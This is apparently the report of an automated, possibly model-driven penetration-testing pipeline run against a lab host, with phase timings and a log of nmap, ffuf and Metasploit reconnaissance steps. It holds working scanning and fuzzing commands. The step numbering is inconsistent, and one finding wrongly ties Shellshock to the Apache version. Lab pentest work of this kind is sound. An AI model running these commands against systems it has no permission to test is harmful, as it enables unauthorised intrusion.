Model warm-up	2m 12s	15.5%
Phase 0 — TCP Discovery	33s	4.0%
Phase 1 — Version Detection	27s	3.2%
Phase 2 — Adaptive NSE	3m 33s	25.0%
Phase 3 — Firewall Detection	5s	0.6%
Phase 4 — UDP Scan	15s	1.8%
Phase 5 — Web Fuzzing	1m 17s	9.1%
Phase 6 — Metasploit	3m 53s	27.4%
Phase 7 — Searchsploit + Creds	31s	3.7%
Total	14m 14s	100%

8. Execution Log

15 step(s) executed during reconnaissance.

✓ Step 1 — Full TCP SYN scan (all 65535 ports)

```
nmap -Pn -sS -p- --min-rate 1000 --max-retries 2 10.129.10.68
```

→ Found: 80 (http), 2222 (EtherNetIP-1)

✓ Step 2 — Version + OS detection on 80,2222

```
nmap -Pn -sV -O --version-intensity 5 -sC --script-timeout 60s -p 80,2222 -oX /home/marina/Desktop/pentestM/RAG/outputs/nmap_sV_10_129_10_68.xml 10.129.10.68
```

→ Found: 80 (Apache httpd 2.4.18 ((Ubuntu))), 2222 (OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0))

✓ Step 3 — Check for Shellshock vulnerability on Apache

```
nmap -Pn -sV --script http-shellshock -p 80 10.129.10.68 --script-timeout 30s
```

→ Found: 80 (Apache httpd 2.4.18 ((Ubuntu)))

→ Apache httpd 2.4.18 detected. This version is known to be vulnerable to the Shellshock vulnerability (CVE-2014-6271) if misconfigured.

✓ Step 4 — Check SSH authentication methods

```
nmap -Pn -sV --script ssh-auth-methods -p 2222 10.129.10.68 --script-timeout 30s
```

→ Found: 2222 (OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0))

→ SSH service supports both password and publickey authentication methods

✓ Step 5 — Enumerate SSH algorithms

```
nmap -Pn -sV --script ssh2-enum-algos -p 2222 10.129.10.68 --script-timeout 30s
```

→ Found: 2222 (OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0))

→ The SSH service is using outdated algorithms such as 'diffie-hellman-group14-sha1' and 'hmac-sha1', which are known to be vulnerable.

→ The 'ssh-rsa' server host key algorithm is deprecated and should be replaced with more secure alternatives like 'ssh-ed25519'.

✓ Step 6 — Check for SSH algorithm vulnerabilities

```
nmap -Pn -sV --script ssh-hostkey -p 2222 10.129.10.68 --script-timeout 30s
```

→ Found: 2222 (OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0))

✓ **Step 7 — Check for Apache misconfigurations**

```
nmap -Pn -sV --script http-methods,http-enum -p 80 10.129.10.68 --script-timeout 30s
```

→ **Found:** 80 (Apache httpd 2.4.18 ((Ubuntu)))

→ Apache httpd 2.4.18 detected (Ubuntu)

✓ **Step 8 — ACK scan — firewall detection**

```
nmap -Pn -sA -p 80,2222 10.129.10.68
```

✓ **Step 9 — UDP scan — top 100 ports by frequency**

```
nmap -Pn -sU --top-ports 100 --open --max-retries 1 10.129.10.68
```

✓ **Step 10 — UDP scan — exploit-focused service ports**

```
nmap -Pn -sU -p 53,67,69,111,123,137,138,161,162,500,623,1434,1900,4500,5353,11211,17185 --open --max-retries 1 10.129.10.68
```

✓ **Step 11 — ffuf — http://10.129.10.68**

```
ffuf -u http://10.129.10.68/FUZZ -w /usr/share/dirb/wordlists/common.txt -t 40 -v -timeout 10 -e php,html,txt,js,json,bak,old,zip -o /tmp/ffuf_output_1780642869.json -of json -fs 296,310
```

→ [200] http://10.129.10.68/

→ [403] http://10.129.10.68/.hta

→ [403] http://10.129.10.68/.htaphp

→ [403] http://10.129.10.68/.htahtml

→ [403] http://10.129.10.68/.htatxt

✓ **Step 12 — ffuf vhosts — FUZZ.10.129.10.68**

```
ffuf -u http://10.129.10.68 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 40 -H 'Host: FUZZ.10.129.10.68' -o /tmp/ffuf_vhost_80_1780642914.json -of json -v -ac
```

✓ **Step 13 — ffuf CGI — http://10.129.10.68/cgi-bin**

```
ffuf -u http://10.129.10.68/cgi-bin/FUZZ -w /usr/share/seclists/Discovery/Web-Content/LEGACY-SERVICES/CGIs/CGIs.txt -t 40 -v -timeout 10 -e .sh,.cgi,.pl,.py,.rb -o /tmp/ffuf_cgi_80_1780642925.json -of json -mc all -ac
```

✓ **Step 14 — MSF exploitation phase**

```
msfconsole (multiple modules)
```

✗ **Step 14 — Searchsploit + credential phase**

```
searchsploit / paramiko / ftplib
```